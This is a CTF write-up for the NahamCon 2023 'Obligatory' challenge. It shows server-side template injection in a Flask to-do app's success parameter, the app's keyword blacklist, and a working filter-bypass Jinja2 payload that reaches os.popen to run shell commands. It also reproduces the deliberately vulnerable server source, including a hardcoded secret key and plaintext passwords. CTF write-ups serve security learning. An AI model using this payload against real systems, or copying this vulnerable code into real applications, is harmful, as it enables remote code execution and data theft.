ctf-writeups-page
  • 🚩teebow1e's CTF write-ups
  • Challenges I created
    • Page 1
  • 2023
    • NahamCon CTF
      • Museum
      • Obligatory
      • Star Wars
      • Hidden Figures
    • DownUnderCTF 2023
      • misc challenges
Powered by GitBook
On this page
  • Description
  • Solution
  • Beyond the Flag
  1. 2023
  2. NahamCon CTF

Obligatory

Typical SSTI challenges with filters, but what really frustrating is: We are not given any source code.

PreviousMuseumNextStar Wars

Last updated 1 year ago

Description

Author: @congon4tor#2334

Every Capture the Flag competition has to have an obligatory to-do list application, right???

Solution

Once again, we were welcomed with a login prompt. No sign of being able to access using SSTI or SQLi, I created an account and got logged in.

All functions work great, no sign of vulnerabilities when I tried to create, delete, modify the state of the to-do event. The bug here is the success notification:

http://challenge.nahamcon.com:30607/?success=Task%20created

If I change the content inside the success parameter to {{g}}, I got confirmed that this site is vulnerable to SSTI.

Fuzzing with some special characters, I am given the application's keyword blacklist:

{{\s*config\s*}},.*class.*,.*mro.*,.*import.*,.*builtins.*,.*popen.*,.*system.*,.*eval.*,.*exec.*,.*\..*,.*\[.*,.*\].*,.*\_\_.*

This is the bypass plan for the given blacklist:

  • Since config is blocked, we can access the built-in functions using other objects (like (), [], "")

  • eval, exec are blocked, so we need to find way to import os library to be able to execute arbitrary code.

  • Other keyword block can be bypassed like this:

  • Since "." is blocked, we can use |attr() to call other methods, classes.

  • We can hex-encode the file path so other character block is no difficulty for me.

This is the bypass I created following the above plan:

{%with a=request|attr("application")|attr("_""_""glo""bals""_""_")|attr("_""_""getitem""_""_")("_""_""bui""ltins""_""_")|attr("_""_""getitem""_""_")("_""_""imp""ort""_""_")('os')|attr("po""pen")('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}

There is a DB folder, and a db.sqlite database inside it. I can quickly grab the flag by calling strings DB/*. (I really wonder why I can not use cat DB/db.sqlite)

We got the flag.

Beyond the Flag

This is the page's source code:

from flask import (
    Flask,
    request,
    session,
    make_response,
    render_template,
    render_template_string,
    redirect,
    jsonify,
    abort,
)
from models import db, User, Task
import re

app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///DB/db.sqlite"
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
app.config["SECRET_KEY"] = "&GTHN&Ngup3WqNm6q$5nPGSAoa7SaDuY"
app.config["SESSION_COOKIE_NAME"] = "auth-token"


@app.before_first_request
def create_tables():
    db.create_all()


db.init_app(app)


def current_user():
    if "id" in session:
        uid = session["id"]
        user = User.query.get(uid)
        return user
    return None


def jinja_safe(s):
    blacklist = [
        "{{\s*config\s*}}",
        ".*class.*",
        ".*mro.*",
        ".*import.*",
        ".*builtins.*",
        ".*popen.*",
        ".*system.*",
        ".*eval.*",
        ".*exec.*",
        ".*\..*",
        ".*\[.*",
        ".*\].*",
        ".*\_\_.*",
    ]
    temp = "(?:% s)" % "|".join(blacklist)
    print(s)
    if re.match(temp, s):
        abort(
            400,
            "HACKER DETECTED!!!!\nThe folowing are not allowed: [ % s ]"
            % ",".join(blacklist),
        )


@app.route("/")
def home():
    user = current_user()
    if not user:
        return redirect("/signin?error=Invalid session please sign in")
    success = request.args.get("success", None)
    error = request.args.get("error", None)
    filter = request.args.get("filter", None)
    tasks = user.tasks
    if filter == "active":
        tasks = [t for t in tasks if not t.completed]
    elif filter == "completed":
        tasks = [t for t in tasks if t.completed]

    if success:
        jinja_safe(success)
        template = '<div class="text-success text-center mb-3">' + success + "</div>"
        success = render_template_string(template)

    if error:
        jinja_safe(error)
        template = '<div class="text-danger text-center mb-3">' + error + "</div>"
        error = render_template_string(template)

    resp = make_response(
        render_template(
            "index.html",
            user=user,
            tasks=tasks,
            success=success,
            error=error,
        )
    )
    return resp


@app.route("/new", methods=["POST"])
def new():
    user = current_user()
    if not user:
        return redirect("/signin?error=Invalid session please sign in")

    if request.method == "POST":
        task_name = request.form.get("task", None)

        if not task_name:
            return redirect("/?error=Missing task name")

        task = Task(name=task_name, user_id=user.id)
        db.session.add(task)
        db.session.commit()

        return redirect("/?success=Task created")


@app.route("/delete", methods=["GET"])
def delete():
    user = current_user()
    if not user:
        return redirect("/signin?error=Invalid session please sign in")

    if request.method == "GET":
        task_id = request.args.get("id", None)

        if not task_id:
            return redirect("/?error=Missing task id")

        task = Task.query.filter(Task.id == task_id, Task.user_id == user.id).first()
        if not task:
            return redirect("/?error=Task not found")

        db.session.delete(task)
        db.session.commit()

        return redirect("/?success=Task deleted")


@app.route("/complete", methods=["POST"])
def complete():
    user = current_user()
    if not user:
        response = make_response(
            jsonify({"message": "You must be signed in"}),
            403,
        )
        response.headers["Content-Type"] = "application/json"
        return response

    if request.method == "POST":
        task_id = request.get_json().get("id", None)
        completed = request.get_json().get("completed", None)

        if not task_id or completed == None:
            response = make_response(
                jsonify({"message": "Missing parameters"}),
                400,
            )
            response.headers["Content-Type"] = "application/json"
            return response

        task = Task.query.filter(Task.id == task_id, Task.user_id == user.id).first()
        if not task:
            response = make_response(
                jsonify({"message": "Task not found"}),
                400,
            )
            response.headers["Content-Type"] = "application/json"
            return response

        task.completed = completed
        db.session.commit()

        response = make_response(
            jsonify({"success": True}),
            200,
        )
        response.headers["Content-Type"] = "application/json"
        return response


@app.route("/signup", methods=("GET", "POST"))
def signup():

    if request.method == "POST":
        username = request.form.get("username", None)
        password = request.form.get("password", None)
        password2 = request.form.get("password2", None)

        if not username or not password or not password2:
            return redirect("/signup?error=Missing parameters")

        # Check if user exists
        user = User.query.filter(User.username == username).first()
        if user:
            return redirect(
                "/signup?error=This username is already taken please choose another one"
            )

        # Check if passwords match
        if password != password2:
            return redirect("/signup?error=Passwords do not match")

        user = User(username=username, password=password)
        db.session.add(user)
        db.session.commit()

        return redirect("/signin?success=User created successfully")

    elif request.method == "GET":
        success = request.args.get("success", None)
        error = request.args.get("error", None)

        return render_template("signup.html", error=error, success=success)


@app.route("/signin", methods=("GET", "POST"))
def signin():

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        # Check if user exists
        user = User.query.filter(
            User.username == username, User.password == password
        ).first()
        if not user:
            return redirect("/signin?error=Invalid credentials")

        session["id"] = user.id
        return redirect("/")

    elif request.method == "GET":
        success = request.args.get("success", None)
        error = request.args.get("error", None)

        return render_template("signin.html", success=success, error=error)


@app.route("/signout")
def signout():
    session.pop("id", None)
    return redirect("/signin?success=Signed out successfully")

Hope you can create yourself a to-do list app.